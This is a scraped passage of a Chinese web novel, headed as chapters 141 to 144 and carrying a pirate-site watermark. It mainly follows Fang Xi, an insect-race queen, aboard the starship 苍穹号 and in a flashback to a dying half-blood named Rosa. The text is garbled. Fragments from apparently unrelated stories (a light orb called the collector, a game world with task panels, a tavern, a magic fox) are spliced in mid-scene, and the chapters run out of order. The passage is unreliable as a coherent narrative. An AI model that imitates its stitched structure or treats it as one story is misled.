“希蒙阁下，刚刚发生了什么？”等他出来后，一群负责检测房间内部的虫族纷纷问道。 希蒙快速扫了一圈，视线颇为犹豫地在其中几名虫族之间徘徊。 玫瑰红、朱红、酒红、铁锈色……一切和红色调相关的眼睛颜色都被他一一否决。 虽然不知道她究竟喜欢什么样的眼睛，但可供选择的余地依旧很多。 先每种样式和颜色各收集一种好了。 如果都不喜欢，那就一直换下去。 ——总会有她喜欢的。 “二十七个小时，陛下似乎睡了很久。”有虫族忧虑地说，“卡蕊莎殿下，我们真的不需要进去查看陛下的身体情况吗？” 卡蕊莎神色没有一丝异常，语气平静道：“不必。” 他们曾从乌拉尔口中得知，陛下总是有陷入长久沉睡的习惯。 但是……卡蕊莎低头查看四周环境的精神波动，发现莫名其妙消失了一段。 按捺住心中的躁动不安，卡蕊莎继续与其他虫族执行星航的各种事务。 六小时后，方羲缓缓睁开眼睛。 “陛下，您终于醒了。”盖亚说，跃动着象征喜悦的橙色光芒。 “我睡了多久？” “三十三个小时。”盖亚说，“十五个小时之后，我们即将抵达W0199席塔星。” “……”方羲没起身，半眯着眼睛盯着天花板发呆。 她进入精神识海和操控达格玛身体所花费的时间并没多久，一直没醒来只是方羲留着睡眠恢复精力的习惯。 虽然现在已经不需要这么做。 “和我说说混血女王的事情吧。”沉默许久，方羲突然出声。 盖亚似乎卡壳了一会，才谨慎地说：“明面上说可以一定程度暂停虫族的衰败周期，但实际效果甚微。蒙斯特虫族曾经默认过一任混血女王的存在，他们将其视作维系自身精神状态的工具，但据说仅仅十天后，那名人类就在半夜时暴毙了。” “没有了？”方羲疑惑地问。 “暂未发现其他记录。”盖亚诚实地说，“即使是再叛逆的蒙斯特虫族，其实也很难真正逾越种族的底线思维。也许他们可以对您抱有偏见和敌意，但不见得能容忍伪劣品的存在。” 不对。 方羲微微皱起眉头。 那达格玛的存在又算什么？ 而且希蒙切换人格之后的状态和他所做下的决策完全矛盾。 方羲再次陷入思索，终于摸清了那一点违和感。 比起人格意识的分裂，倒更像另一种不明生物的寄宿。 那么，是谁借着背叛之名，躲在幽暗深处注视着她呢？ 它的躯体很渺小，只是一团小小的光球。 和其他恐怖强壮的异端，便显得有些可笑起来。 但它身处没有被失乐园捕获的未知领域，能够驱使所有表面比它更强大的异端。 还拥有非同寻常的人智，懂得思考，知道该怎么说话。像人类一样吃饭、睡觉、学习、工作……却不屑于进食人类。 那肯定是一只极其强大的异端。 江同尘一直这么笃信着。 但如果……如果她当时遇到的不是异端呢？ 如果那天灵感的穷极，只是一种虚幻的错觉……如果她的灵感其实未曾抵达过无穷的境界，所以才无法看清【光球】的全貌呢？ 收藏家。 为什么你的字…… 和“欠条”上的字相差无几，一模一样？魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 140-150 第 141 章 第 141 章 【你是太累了吗？】 【早睡晚起，好好吃饭，多喝热水。】 扭曲怪异的笔画，在半空中逐一浮现、悠悠飘荡。 江同尘茫然地看着这些文字，心脏如擂鼓般疯狂跳动。 太像了。 但仅仅是“像”，不足以证明一切。 【没必要思考太多，人类的大脑总是无法承载过于深邃的事情。】 【如果你是在恐惧未知的回音……既然如此，我也将未知之境加入待探索地点之一好了！】 【：）】 R27星，黄昏区。 罗萨觉得自己怕是疯了。 往哪里逃不好，非要选择荒无人烟的黄昏区。这里异生种滋生率最高，一着不慎可能就被吞吃入腹，甚至连虫族也不大愿意来这边。 虽然说她就是想着虫族不会来黄昏区，才选择往这边逃亡…… 罗萨离开赤月区之前，已将虫族为混血者专门打造的光脑损坏了个大半。她潜伏谋划了多年，终于等到了一个逃脱的机会。 一个用性命换取自由的机会。 然而内心仍有微弱的反对念头，明明你得到了一场多么公平的交易啊！财富、地位、势力，要什么没有？用短暂的改造痛苦去交换一辈子也得不到的东西，有什么不好的？ 罗萨下意识不敢深想自己执着逃跑的原因。 奔跑了许久，罗萨终于无力地倒在地上，脸颊被碎石割出一道伤口，身体的旧伤也撕裂开来，不止地流出血液。 死死瞪大眼睛看着天边，眼睛的光亮也逐渐黯淡。 “你看上去快要死了。” 背后忽然传来声音。 声调古怪而僵硬，像是很久没有说过话、在努力模仿人类的语言。 快逃！！ 罗萨心底涌出巨大的恐惧，一种胜于被追杀和死亡的恐惧，每个细胞都叫嚣着逃跑，容不得她多加思考。 可她身体无法跟上情感的变化，不能动弹，更何况体力已至极限。 对方似乎有些好奇，走在罗萨正前方蹲下身体，以一种纯粹的好奇目光看着她。 注意对方的相貌，罗萨茫然了一瞬。 显然只是一个无害的白发少女，披着一身像是捡来的破旧黑袍，灰头土脸，头发乱糟糟的，和自己狼狈得不相上下。 但即便这样，也无损于少女的美丽，脸庞像是被造物主细心雕刻过，带着浑然天成的奇异美感。 尤其是她的眼睛，一黑一银的异眸，洒满了银河的细碎光辉。 罗萨不甚与少女对视上，刚降低下来的恐惧一下子徒然拉高。 她是……虫族。 某个猜想一闪而过，她不敢深想下去了。 名为方羲的少女观察了她一会，便很快对这个弱小的生物失去了兴趣。 方羲对罗萨并不抱有任何恶意，但天性使然，同样不会存在一丝同情心。于是她啪啪灰站起来，最后随意扫了罗萨，像是在看一只过路的蝼蚁。 罗萨在这一瞬间隐约明晰了自己出逃的原因。 ——羔羊是无法在狼群长久生存的，哪怕被温和地圈养着。 罗萨忽然大笑起来，却又留着眼泪，似哭似笑，声音尖厉刺耳。她快死了，又在面对强大存在的恐惧之下，压抑许久的情绪倾泻而出。 方羲无法理解她复杂的感情，也不在意。只是突然注意到罗萨的手环隐隐闪烁，感到好奇。 “这是什么？”方羲问，语气平静，极为单纯地陈述自己的疑惑。 罗萨没有回答，但她也费力地取下光脑，颤抖着手放在方羲面前。 身为A等级混血者的罗萨，自然也或多或少接触过一些机密。 她无光的眼睛闪过一点微弱的希冀，喃喃自语：“如果你出现的话，那‘我们’一切的痛苦是不是都可以结束了？” 话音刚落，罗萨彻底失去了呼吸。 方羲歪歪头，眼睛里既无悲喜，也无怜悯。 她捡起地上的光脑，打量了一下，揣进口袋里。 想了想，地面生出几条细长的荆棘，围绕住罗萨的身体，然后开出一圈白色的花。周围的土壤也随之以惊人的速度生出花朵，覆盖住罗萨的身体。 然后方羲就慢悠悠转头离开，打算回到远处废弃的屋子里。 罗萨给了她一个光脑。 作为交换，方羲送还她一片白色玫瑰- 方羲不久前才来到R27星。 此前，她还在遥远的废弃星沉眠直至生命耗竭。但那几只幸运不被方羲杀死、当作宠物的异生种，有一天情绪格外激烈，把方羲吵醒了。 醒来后，才发现原来是天边出现了一座星航的身影。 于是方羲用了点力量，让这座星航降落，再偷偷爬上去搭乘，跟随一无所知的驾驶员来到R27星。 R27星为虫族所有，生命的数量比方羲想象中要多，甚至总是有剧烈的轰鸣声，这让她一时不太习惯，便下意识找了一块无人的区域待着。 实际上方羲来到R27星的时间不太美好，因为它于五月前正式与联盟开战，沦为战区之一。 黄昏区的异生种也因此更加躁动，但碍于方羲这个不速之客，竟也不敢随意搞破坏。 方羲回到一座废弃房屋，靠在墙壁上，开始好奇地研究光脑。 “滴——信息识别错误……”光脑似乎错乱了一下，发出滋滋的电流声，但又马上恢复正常，“您好，罗萨·加西亚。” 方羲看着半透明的屏幕，简单研究了一会，然后点开属于光脑主人的信息界面。 姓名：罗萨·加西亚 年龄：25 种族：雷纳星人 身份：赤月区公民；A07号混血者（已隐藏编码，高权限者可查看具体数值） “定位功能已损坏，自动修复中……修复失败。” “身份码和人物图像损坏，尝试启用备份资料……无备份资料可使用，请就近前往事务中心重新补办，避免对正常生活造成影响。” 在空荡荡的房屋里，光脑冰凉的机械声连续播报了两个提示。 方羲听了一会，稍微留了点心。便继续摆弄这个新玩具。 本地官网顶置了一则通知：永夜区即将设置为安全区，请各位非战斗成员前往，避免不必要的伤亡。 言下之意，非安全区不可避免会发生战争。 发布时间为四个月前，后续又补充了一条：赤月区也将划分为安全区。 方羲继续尝试其他功能，结果光脑接连弹出功能损坏的提示，心里感到一丝失望。 而且黄昏区的星网信号断断续续。 方羲发呆思考了一会，决定还是去别的区域看看，毕竟她暂且对新获得的玩具很感兴趣。 于是，方羲以极快的速度移动，逐渐接近黄昏区的边界。但在踏入别的区域之前，方羲感知到无数虫族的气息，不由得停下脚步。 方羲在废弃星之前的记忆已经模糊了许多，但她仍然潜意识排斥虫族。 犹豫了一阵，方羲突然想起了什么，将自己模拟成与罗萨相同的气息。 罗萨身上只有一小部分虫族的味道。何况方羲需要使用她的身份ID，那就必须做点伪装- 进入赤月区需要审核。 方羲躲在掩蔽物后面，将自身气息彻底隐匿，冷眼观察着一群高大虫族有序排列，等待审批通过。 眼前这群虫族大多处于成年期，身高两米以上。方羲对比了一下自己一米六的高度，差距有些悬殊。 至今为止，方羲从没有见过任何一只雌性虫族。呃，也许罗萨可以算上小半个。 方羲深深叹了口气。不确定虫族是否能容许其他种族进去？ 方羲刻意忽略了她将自己和虫族割裂开的心理。 等到深夜，门口只剩下几名负责审核。审视了一番，他们战力似乎并不高。 很弱，一旦感知到任何恶意，她也能迅速离开。 于是方羲稍稍放开隐匿的效果，慢悠悠走到门口。 “你好，请出示身份ID。”为首的雄虫先是感应到方羲的靠近，下意识公事公办地说，随即才低下头看见她的相貌，微微一愣。 心脏忽然加快跳动。 雌虫？怎么会出现在这里？而且这么狼狈。 但他马上闻到另一股气味，“等等……你是混血者？” 也许是敏感的字眼，顿时吸引了其他雄虫的注意力，视线纷纷放在方羲身上。 方羲只好主动询问：“我可以进去吗？” 她记得罗萨赤月区公民的身份，不出意外，她应该具备进入的资格。 只是……混血者有什么值得忌惮的？ 雄虫深深看了她一眼，使用光脑联系其他虫族，他并没有处理混血者的资格和权限。 “暂时稍等一会。”雄虫说，语气下意识放柔，甚至俯下身体降低高大身形带来的压迫力，欲言又止。 但其他敏感的雄虫注意到他不对劲的状态，连忙将他拉开远离方羲，低声说：“你被影响了。” 由于方羲没有吞食罗萨的身体，她此时的拟态存在漏洞——不会真正存在混血者对虫族的蛊惑和安抚作用。 雄虫对方羲莫名奇妙的好感，其实源自一种更深层的吸引。 很快，一名虫族匆匆赶来，金色眼眸直直看向方羲。 方羲下意识眯了眯眼睛。他和其他虫族不是一个量级别的，甚至要强大许多。 “塞奇利奥长官，就是她了。”雄虫说。 雷诺兹·塞奇利奥微微点头，转移视线对其他虫族笑笑说：“各位辛苦了，除了轮值的守卫，都回去休息吧。” 语气随意自然，没有一点身为长官的架子。虫族向来阶级分明，高等虫族哪怕性情温和，举止间也会透露出一丝对低一等虫族的威慑。 雷诺兹与其他虫族对话完，才勉为其难似的看向方羲，语气徒然冷漠：“跟我来吧。” 方羲跟随着雷诺兹穿过赤月区的界线，再走过弯弯绕绕的道路，才正式临近城区边缘。 入目是一片她很少见过的光景，建筑高耸入云，层层叠叠有序交错，城市整体以灰色调为主，唯一的色彩似乎只有各处放送的屏幕播报。 来往的虫族皆面色灰败，明明身体健康，精神却格外萎靡，唯有机械专注地完成手里的工作。 偶尔有几声光脑的提醒与引导机器工作的细微声响。 除此之外一片死寂，好像跟黄昏区的寂静没什么两样。 雷诺兹偶尔会打量方羲的神色变化，但方羲大多时候面色表情都是淡淡的，没有显露出什么情绪。 他也未曾在方羲身上感知到一点情绪，像是寂静永眠的深海。 但雷诺兹的内心却不如方羲那样平静，他听见心脏疯狂跳动的声音，胸口传来一阵酥麻的微痛感。 “我看看任务面板！有了！我们小队要收集的核心材料……好像是二十四片味道不同的巧克力树叶？这是啥？好吃吗？” “接收异端噪音的收音机？” “我们的是……正好是一千万声噪音！我们两个队一起顺路做任务怎么样？” 方羲闻言，也好奇地打开了自己的任务面板。 【主线任务一】 【在富饶的蝴蝶小镇上，哪怕是薪酬最低的底层佣兵，每天也会花一百个铜币来填饱肚子。】 【无业游民，或许你该找个班上。】 【奖励：无】 方羲：“……啊？” 第 142 章 第 142 章 【蔷薇酒馆服务员两名】 【要求：勤快，能吃苦】 【酬劳：150铜币/天】 【蔷薇酒馆后厨帮工一名】 【要求：细心认真，善于处理食材】 【酬劳：180铜币/天】 【魔法学徒一名】 【要求：拥有初级魔法师资格证】 【酬劳：请前往“精灵魔法药剂店”，寻找店长面试。】 “陛下，我无法解除已经锁死的权限者。对方使用了混血女王的密匙，这让苍穹号的判定系统造成短路和冲突。”盖亚的声音单独传进方羲耳内，“但六分钟后，所有功能系统都将恢复。我们需要在进入屏障区域之前解决缠绕在苍穹号外部的异生种。” 这点时间足够了。方羲心想，转身往中央操控室的地方走去。 其他虫族见状，不言自明，纷纷回到自己最初的岗位各司其职，整个交接和稳定状态的过程不超过半分钟。 女王的一切情绪和言行皆是虫族的指向标，他们仰望着，模仿着，希冀陛下能仁慈地多分一点注意停留在自己身上。 但在面对生死存亡之际，哪怕这不过是一次小小危机，他们久违感受到一阵乐观的振奋。 不过，即使不仰仗方羲，以虫族得天独厚的实力基础也能够解决，但损失多少那就是另一码事了，而且女王陛下不在位期间，所有虫族精神或多或少都不太稳定，只是在麻木僵硬地遵守来自更高一等的虫族下达的命令而已。 方羲一直自认为自己格格不入，出于过往的经历，她对虫族的陋习和劣根性持有憎恶之心，因此也从未真正接受自己身为女王的身份。但此刻她却无意识地在履行某种职责，捍卫种族的堡垒，眼神依然漠然冰冷，却藏着某种一往无前打碎险境的无上意志。 走到宽敞的中央操控室之前，舰身再次切换为全透明模式，但这次映入眼帘的不再是深黑幽静的美丽星空，而是大片大片怪诞之物，触手，吸盘，半人半兽，内脏细胞，薄翼……所有种族都曾沦为他们吞噬的养料，化为外表形态的一部分。 越是极端危险的环境之下，异生种的力量和侵蚀率也越大。 方羲停下脚步，漫不经心在自己手腕划开一道浅浅伤口，鲜艳欲滴的液体滴落在地面上，一片宛如漩涡的黑线与白线鱼贯而出，跃动着危险光芒，无形穿过星航墙体，攀附在所有异生种身上。 毕竟这场袭击的最终目的是她。 在其他附属星航的视角来看，前方是一片迷蒙如雾的屏障区域，身后是宇宙无数美丽星辰却无法后退，被异生种包围得死死的苍穹号重现全貌，无数异生种如烟灰般轻而易举湮灭于宇宙中，如脱落树皮一样向后滑落，最终坠入无尽深渊。 一只鲜红如血的兽瞳缓缓睁开，顷刻间彻底毁灭一切不自量力妄图的异端之物，巨大恢宏的苍穹号没有阻碍地驶入屏障区域，在那里依旧需要谨慎小心，时空扭曲的地带曾让无数支星航舰队迷失其中。 也就虫族有随意穿梭各星系的资本了。方羲又一次感到厌烦，为自己这副孱弱的身体。 任何一丝弱点都会让她感到不安，有时候些微的错漏会让整个战斗局势彻底扭转。 她抬头看了一眼德里安，却发现他似乎只是在中央操控室里搜寻些什么，从储存柜拿出一只半透明支管，然后缓步往方羲走来，停留在三步开外，温和地说：“陛下，这是一支加速治愈剂，需要我替您使用吗？” 德里安深知，女王陛下强大、冷漠，对一切持着冷眼旁观的态度，连应对这次意外事件也极其随意自然，身上早已隐隐带着女王的风范与威严。但和历代总是关爱子民的女王不同，她似乎总是厌恶与虫族子民过多的接触，有时候德里安甚至觉得她将他们视之为敌人。 方羲沉默了一会，眼睛平静地看着他，仿佛在忖度该如何回答，思量期间德里安以为自己呼吸将要因此停滞，但最终方羲只是递出手腕，示意让他治疗。 德里安动作极其轻柔，单手像是捧着珍宝一般，另一只手开启支管将液体滴落在伤口之上，透明的修复液体流淌进凹陷处，这道不深不浅的伤口也随之愈合，整个治疗过程很简单也很迅速，德里安也没有多加停留，很快自觉放开与方羲短暂的身体接触。 这种加速治愈剂是医疗部考虑到方羲身体自愈能力极端地不正常，特地为其准备的。 方羲的手腕苍白消瘦，有些地方还留着难以褪去的陈旧疤痕，显而易见她此前经历过无数次战斗。在数份送上来的身体检测报告当中，也多次提及过方羲身体内部有大量积累的陈年暗伤。 ——他们依旧对女王的过去一无所知。德里安心中隐隐有些猜测，但在没有得到验证之前他不会随意妄言。 漫长的时间能让女王陛下消解对他们的厌恶吗？不少虫族都冒出过相似的念头，无望又耐心地等待着。 “我听说过你的名字。”方羲忽然说，“你似乎在虫族和星际联盟中都颇有威信。” 德里安微愣，一时摸不清方羲潜藏的用意，谁知她其实只是随口一提，然后话锋一转道：“为什么我感觉你的力量和其他高等虫族相差不是很大，你的核心能力是什么？” 中央操控室面积广大也聚集着其他虫族，他们也是让星航正常运行的辅助成员。虽思绪万千，心底流动着渴望与方羲对话的念头，但也依旧严苛遵从秩序缄默不语，只是继续专注坐着手上工作，并未出声打断这一段交谈。 整个空间内唯有德里安清朗温和的说话声，与机械运作细微到可以忽略不计的底噪。 “我最擅长的是精神入侵，全身心操控敌方的所有意志。”德里安说。 有时候德里安一个浅浅的杀念便会瞬间夺取他人的性命，完全不需要经过任何思考和刻意凝聚意识，也不需要任何物理攻击手段，简直是最高效简洁的杀人武器。 这也容易引发不可收拾的乱像，为了避免不必要的伤亡，所以他需要一直竭力克制自己无意识产生的想法，不能一丁点懒惰的放松。 但这些对方羲却没有丝毫作用，德里安比其他精神型的虫族更为敏锐，更富有战斗经验，更能洞察出方羲潜在的、如无垠宇宙一般没有边际的精神力量。 他始终记得方羲重现的那一天，经由科研人员亲自锻造的精密仪器，竟在一瞬间纷纷烧坏了一样，暴露本不该有的运算错误，无法解析更无法捕捉方羲的力量尽头，唯剩一段复杂难解的乱码。 在搭乘苍穹号之前，有些精神型虫族不自量力，试图朝方羲释放友好的精神讯息，却不料方羲的精神城墙坚不可摧。不论是友善信号还是参杂恶意的窥视，只要有一丁点入侵的念头，反倒会造成大脑一阵阵强烈的刺疼。 而方羲对这些细微的探查根本一无所觉。 听德里安说完，方羲若有所思：“感觉很有趣。” 方羲没有在这个话题上多加停留，又将视线落回操控界面之上，无师自通地在上面查看了一下苍穹号核心系统的使用。 “接下来只需要等待穿越过第一个屏障区域。”德里安温声说，“陛下，其余的事情我们会解决好的。至于这场有预谋的突袭……不必多说，想来也是出自蒙斯特虫族之手。” “那剩下的事情就由你们收拾吧。”方羲调整了一下苍穹号的攻击和防御的核心参数，然后关闭数据界面说道。 重新更替苍穹号内部的运行设备、清除异生种可能残留的丝毫痕迹、对全体虫族进行一次思想审查和清洗、探查蒙斯特虫族此次使用的黑暗技术……种种重要事务交汇在一起，是虫族日常再正常不过的工作量，只不过这次有方羲作为主心骨存在，就完全是另一种心态了。 方羲走出中央操控室，忽略其他虫族传来小心翼翼带着某种渴慕的眼神。她想了想又返回刚刚利维所处的地方。 这个时候，利维已经完全恢复正常，一点不见方才的惨相，此刻正在吊儿郎当地与卡蕊莎交谈事情。 随着方羲的到来，他们当即安静。利维挂着假笑的面容也收敛了一些有些窘迫不安，像是一时不知道该如何开口。 在方羲力量的庇护下，利维的身体不仅完好无损，连大脑意识也并未受到过多黑暗事物的冲击，顶多记得自己被一片朦胧黑暗笼罩，暂时封锁了出路但也安全。 方羲打量了几眼利维，然后说：“看来它已经死了。” 在她对抗那些攻击苍穹号的异生种时，其实并没有刻意去保留这只最关键的异生种，何况它已经没有利用价值。 “陛下。”利维顿了顿，神情难得正经起来，像是艰难思考过后才慎重道，“谢谢您……对我的救助。” 方羲却颇为困惑地看了他一眼，完全无法理解利维溢满出来的感激气息，声调没有起伏地说：“我在利用你。” 她比星航上所有虫族、所有科技监测甚至是敏锐的盖亚，都要更早地意识到异生种的出现。但方羲没有阻止，只是顺其自然地安静等待，想进一步看看对方的目的是什么。 但利维竟是微笑了一下，如果换作其他熟悉他的虫族在场，就会知道向来行事无常、随性自由的利维，此刻的语气究竟是有多么一反寻常的郑重：“我知道，陛下。但这正是我们的价值所在 ” 他执行任务只是维系个体习惯性的生存模式，利维身上衰败周期带来的痛苦比一般虫族要轻得多，但换言之，比起绝望的等待，无穷无尽的虚无感更难以忍受。 方羲此时已走进中央操控室，眼前一片白光闪过，原本的美丽星空不复存在，显示屏上换成一片杂乱无章的时空线条，有时是一片冰冷的雪花点，有时是仿佛能透过屏幕传来真实灼热感的燎原大火。 冥冥之中，方羲又细微地触碰到一下神秘无垠的精神识海。 【苍穹号最高权限者正式更新】 【方羲·艾格蒙特陛下，您好。】 【这是一段湮灭于时光长河之中的意识残影，我们谨代表过去所有未能履行使命的伴生者，未能守护种族最纯洁信仰的罪者，未能拯救最后一名女王陛下走向末路的无能者，向您致以最崇高无上的歉意。】 【非常抱歉，想必您定然无法饶恕我们的罪孽，我们为苍穹号加入了一道最关键的密匙，唯有女王陛下才能真正地掌握苍穹号的最高权限系统，不需要解锁也不需要认同，只要是您的出现，苍穹号内置的模拟神经基因便会自动绑定您。】 【我……不，是我们。希望这个意识残影能有真正放送出来的一天。】 【祝愿您未来的征途一切顺利。】 耳边仿佛有数道声音，异口同声说着一样的内容，温柔又眷念，带着绝望恍惚的希冀，奢望死局终有解除的一天。 方羲面上平静无波，但竟也有一瞬间为这群来自千年前的虫族感到无奈又可怜。 他们认为做好了最万全的准备，避免苍穹号落入他人之手，却不料千年后的虫族远比想象中要残败混乱得多，照样被背叛的虫族窃取了密匙。 没有绑定女王作为真正激活力量的苍穹号，只是一座普通用途的星航，它无法启用最关键的核心功能系统，战力自然也差了一大截。 方羲消灭这群突袭而来的异生种，整个过程不过短短几分钟。 但四周的空气流动似乎变得迟缓，时间无限拉长。方羲等了一会，才听见来自盖亚汇报的声音，和众虫族压抑又快乐的低声欢呼——他们已被强调过方羲不喜欢吵闹的习惯。 “所有功能系统已修复，舰体受损率为0.01%。”盖亚说，“这是一场成功的战役。” 方羲却有些厌倦地说：“不，这只是一个破坏心情的麻烦。” 盖亚则兴致勃勃地说，声调非常高昂，像是要跟方羲的观点争个高下：“陛下，盘踞在星航外部的全是统领级以上的异生种，正常处于幼生期的女王根本不可能只身解决它们……还这么迅速。” 说着，盖亚又悄悄嘀咕了一声：“好吧。陛下您确实……不太符合常理。” “陛下，您手上的伤需要及时处理。”此时，在旁边一直辅助系统修复的德里安温和道。 方羲闻言，才低头看了眼，直到现在被她割出的浅浅伤口已有加深的趋势。 而早早飞速窜走的魔法红狐狸，已经回到了自己的巢穴，左顾右盼，找到一块柔软的土地，变回原型，用爪子挖出一个洞。 狐狸将小钱包小心翼翼地放进土坑里，又认认真真地埋好，然后看着土坑发呆。 “777，我今天又赚到了8000枚银币。” “你什么时候醒过来？” 狐狸寂寞地问。 第 143 章 第 143 章 夜幕已至。 浓的黑色笼盖了世界，云朵与月亮周围飘着奇怪的十字架。 还在大街上活动的玩家，很快注意到天空中的异象。有的造梦家谨慎多疑地取出一个便携望远镜，暗中观测。 方羲还奇怪他们究竟是看什么，于是跟着抬头看了一眼天空。 哦，没什么好看的。 这只是她在雕刻“世界”的时候，无聊地多刻了几刀。所以天空会飘着这种东西。 这是造梦世界最寻常不过的景物。 就跟路边的小石子一样常见。 方羲收回好奇的目光，打开蝴蝶小镇的地图。根据狐狸的提示，还有地图上自带的重点标记，蔷薇酒馆似乎是一个特殊地点。 方羲踏上甲板，墙体一片银白，微微透着些许蓝调，地面板砖由一种特殊珍贵的宝石搭建而成，反射出美丽的粼粼微光。每个物品的细节处甚至藏着几道浅浅的蓝纹，稍微轻触一下便会弹出相应的功能启动。 星航外部恢宏巨大，内部却精巧无比，一条宽敞道路能衍生出无数种结果，灯光明亮却不刺眼，连空气的温度和流动也保持在让方羲感官最舒适的完美程度。 这座经历过诸多磨难的星航，在用自己的方式恭迎新生女王的到来。 “陛下。”几名高等虫族微微欠身，他们一直在星航内部等候女王陛下，负责接应的工作。 面部表情向来平淡、连微笑也透着冰冷的方羲，视线缓缓落在其中一名的银发虫族身上，眉眼露出几分明显的不悦和困惑。 银发虫族五官俊美又棱角分明，有双琉璃似的淡红色眼睛，眼角微微上眺，眼神却极其温和，中和了锋利的攻击感。双手戴着一双纯黑色的手套，身上的军服一丝不苟，又恰到好处地紧贴在肌肤之上，隐隐露出流畅的肌肉线条。 和大多数保持着人形态，却依然带着非人感的虫族不同，他身上的气质将虫族生来暴虐的攻击欲和自身独特的平和感糅合起来，保持在中庸的程度。 银发虫族半跪下来，微微仰头，声音清朗悦耳：“陛下，我是德里安·谢尔顿，苍穹号的指挥官之一。本次航程需要穿越两个星系屏障，由于屏障区域存在不稳定的时间扭曲，全程时长大约为九十九个小时零七分钟。” 随后，他不再多言，而是安静凝望着方羲，仿佛在等待她的下一步指令。 这就是方羲不在位之前，掌握着虫族最大权柄的德里安·谢尔顿，曾被联盟戏称为“思维情感最像人类的虫族。” 连相貌也比一般虫族更贴近星际人类的审美。 ——虽然按照虫族各方面都追求极致强大的审美观，自然不会欣赏德里安这副模样，也曾被不少虫族诟病：“他怎么可能是女王的伴生者？” 但事实上，相貌和性情过于具备攻击欲总是会唤起方羲对过往的不悦记忆，至少德里安的外形不是方羲讨厌的类型。 就像乌拉尔，当初他因为贴近方羲的活动圈，下意识模仿方羲的外形而分化，又努力收敛起自己的锋芒，才让能方羲容忍其存在之久。但此前从未见过，也从没感知到方羲存在的德里安，却冥冥之中依然循着某种特殊的基因进行分化，一个身形修长、温文尔雅的青年。 但令方羲感到不悦的是，在看见银发虫族的第一秒，她就听见了自己身体内所有细胞在疯狂叫嚣，大脑的情感系统缓缓泛起一阵强烈的杀欲，清晰地感受到这不仅仅是单纯的吞噬感，更伴随着一丝轻微的喜爱感。 方羲漠然地压下莫名其妙的恶念，她厌恶一切控制，哪怕是自身的基因作祟，眼睛平静地直视德里安：“这是什么？基因之间的吸引力吗？” 德里安对上方羲的冰冷视线，令他灵魂仿佛陷入深深的战栗，又如坠冰窟的不安。 白色异瞳的少女在审视他，毫不掩饰自己眼睛里的杀欲，却又有着堪称可怕的克制态度。和长久冷静漠然的情绪比起来，这点杀欲不过是一点微不足道的火花，没入冰海化作灰烬。 许多女王会选择顺应自己的欲望，更何况一个长期在位、掌握最高权限的虫族，某种意义上来说其实对方羲的统治具备一定的威胁性。 因此德里安也做好了被斩杀的心理准备。无需他回答，方羲已从银发虫族身上的气息读懂其心中所想。 但方羲最终只是轻轻瞥了他一眼：“去做你们该做的事吧。” “是。”德里安竟感到一丝轻微的失落，语气温柔地应下，带着身后一众附属指挥官离开。 此时，卡蕊莎才慢慢出现在方羲身后，在下令虫族军团立即行动之后，迅速紧跟着方羲乘上星航，也没有擅自插入方羲与德里安的短暂对话。 方羲漫不经心四处闲逛，偶尔会在一些有趣的地点停留，好奇观察。卡蕊莎便立即了然为之具体介绍。 “纸质化图书馆。以前有几代女王喜欢阅读实体书，因此在苍穹号开辟了一处空地，用来存储成千上万的书本，但我们很少有艺术创作的行为，所以除了技术研究向的资源，其他都出自星际不同种族之手。” 结构精美交错的巨大深棕色书架，长长的藤条垂下，踩踏在木质地板上发出吱嘎声音，显然制作者刻意往传统复古的方向设计。 方羲原本只随意看了几眼，便不感兴趣地想转身离开，却在途径某处时忽然脚步一顿，蹲下身抽出最底层的一本书。 在这本书被拿出来的那一瞬间，空气中立刻弹出一段乌黑质朴的艺术体。 书名：[***无法解析***] 作者：[***数据遗失***]（阿曼帝普人） ………… 整本书设计极其简陋，封面像是脱落树皮一样斑驳丑陋，打开后发现连书页也残缺不全，一堆没有规律且断断续续的陌生文字。 卡蕊莎也看到了书本弹出的介绍文字，虽然图书馆表面上套着古朴的样子，但依然内置高科技功能。于是她解释说：“抱歉，陛下。这是一份远古时代的资料，蕴藏着生物加密力量，科技难以进行更一步的解析，而且阿曼帝普人于我们也没什么研究的必要。” “一个永远封尘在第八星系的种族，虫网数据库对他们的本体模样也知之甚少，不过……在历代女王的记录史上，曾有一位初代女王提过一句。” 听上去生存理念似乎和虫族有些许相似之处。方羲再次打量了一眼手中的书籍，这本书隐隐散发出一丝残余的蛊惑引力。 方羲微微点头，表示自己听进去了，然后说：“我想带走这本书。” “当然。”卡蕊莎说，心下猜测着难道陛下是喜欢这一类的古董吗？ 之后，方羲又好奇查看了诸如格斗场、议会大厅、储存屋、禁闭室、宿舍区之类的地方，最后来到中央操控室。 正在工作的众指挥官本想起身对方羲行礼，但方羲轻轻一瞥，身上无意识散发出的威压传达出拒绝的意思。 于是他们只好继续专注工作。 此时，苍穹号已经做好了启动工作，正在远离R27星。方羲站在观景窗边，唯见一层层白雾，和底下朦胧的土色大陆。 又大约过了十几分钟，苍穹号彻底脱离R27星的引力轨道，墙体开启全透明模式，宇宙仿佛带着某种神秘的吸引力，星辰散发着各色微光，偶尔会有几块不规则的黯淡陨石路过，寂静无声。 方羲站在最佳的视野角度，清晰看见R27星似乎由金棕、浅橘、土色多种色彩梯次构造而成，即使有几道黑色条纹却依然不失整个星球的美感。 这就是她意外来到的星球，曾经正满受战争摧残的末路之地。 方羲忽然出神地想到，那她此前呆过的废弃星是什么样子，她当时一心想要离开，其实连它的具体位置也不知道。 方羲缓缓收回视线，对卡蕊莎说：“给我一个耳环式的光脑。” 手腕式的光脑不易传声，方羲已经几次看见光脑闪烁了好几次——来自盖亚。 每日打工。例如清洁工、服务员、后厨帮工等简单的兼职，可以获取10～20点经验值。 做赏金任务。蔷薇酒馆有不为人知的地下负一层，很多不可言说的雇佣都发布在地下层的公告栏，冒险者可按自身实力去接取。低级任务获取50点经验值，中级任务300点经验值，高级任务1000点经验值。 能够获取造梦经验值的，大概也就这两种渠道。 方羲想了想，试探性问：“有没有什么传说任务，能够让我从0级直接升到100级？” 调酒师：“？” 连旁边的踏樱和一夕，也面露古怪。但她们已经习惯了方羲总是语出惊人的脑回路。 调酒师沉默了好一会，才愤愤然地回答：“好吃懒做的人类！世界上没有这种好事！你想得真美！！！” 方羲“哦”了一声，虽然有点失望，倒也不意外这种回答，而是继续翻阅《世界基础科普指南》。 但如果在同一个团队的话…… 方羲的目光，缓缓落在两名队友身上。 踏樱和一夕，忽然感觉后背冷飕飕的，心底莫名其妙闪过一阵不详的预感。 ——那么任何一人在完成任务时，经验是可以共享给队长的！ 第 144 章 第 144 章 【叮咚——】 